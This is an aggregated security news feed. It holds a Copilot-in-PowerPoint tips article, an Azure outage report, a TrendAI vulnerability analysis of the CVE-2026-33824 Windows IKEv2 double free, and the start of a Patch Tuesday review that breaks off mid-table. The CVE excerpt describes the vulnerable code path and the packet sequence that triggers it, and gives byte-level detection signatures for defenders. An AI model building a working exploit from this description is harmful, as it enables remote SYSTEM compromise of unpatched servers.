<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Micros...]]></description>
<link>https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by</em> <em>WARP &amp; MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  




  <p class="">A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.</p><p class="">An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.</p><p class=""><strong>The Vulnerability</strong></p><p class="">Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.</p><p class="">The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the <a href="https://datatracker.ietf.org/doc/html/rfc7296">Internet Key Exchange (IKE) Protocol</a> in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The type of <em>payload</em> is determined by the <em>Next Payload</em> header of the previous <em>payload</em>, or the <em>Next Payload</em> field in the header (in the case of the first payload).</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">IKEv2 supports message fragmentation as defined in <a href="https://datatracker.ietf.org/doc/html/rfc7383">RFC 7383</a>. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function <code>IkeReinjectReassembledPacket()</code> performs this reassembly.</p>
<p>A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes <code>IkeHandleSecurityRealmVendorId()</code> to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, <code>IkeReinjectReassembledPacket</code> copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to <code>IkeQueueRecvRequest</code>, which shallow-copies it into a heap-allocated work item. While <code>IkeQueueRecvRequest</code> deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.</p>
<p>When the thread pool processes the queued work item, <code>IkeDestroyPacketContext</code> checks the blob pointer at offset 0xC8 and calls <code>WfpMemFree</code> to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through <code>IkeCleanupMMNegotiation</code>, the SA reference count is decremented via <code>IkeDerefMMSA</code>, eventually triggering <code>IkeFreeMMSA</code>, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by <code>IkeDestroyPacketContext</code> (second free).</p>
<p>A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above. </p>
<p>The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.</p>
<p><b data-preserve-html-node="true">IKE_SA_INIT</b></p>
<p>At byte offset 17 of the UDP payload, the device should check for the three-byte sequence <code>20 22 08</code>, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence <code>68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8</code>, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.</p>
<p><b data-preserve-html-node="true">IKE_AUTH</b></p>
<p>For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence <code>35 20 23 08</code> identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence<code>00 00 00 01</code>. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.</p>
<p>Notes<br>•	All multi-byte values should be treated as big endian.<br>•	When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (<code>\x00\x00\x00\x00</code>), shifting all IKE header content offsets by 4.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824">patched</a> by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. </p><p class="">·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE. </p><p class="">·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.</p><p class="">These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.</p><p class="">Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
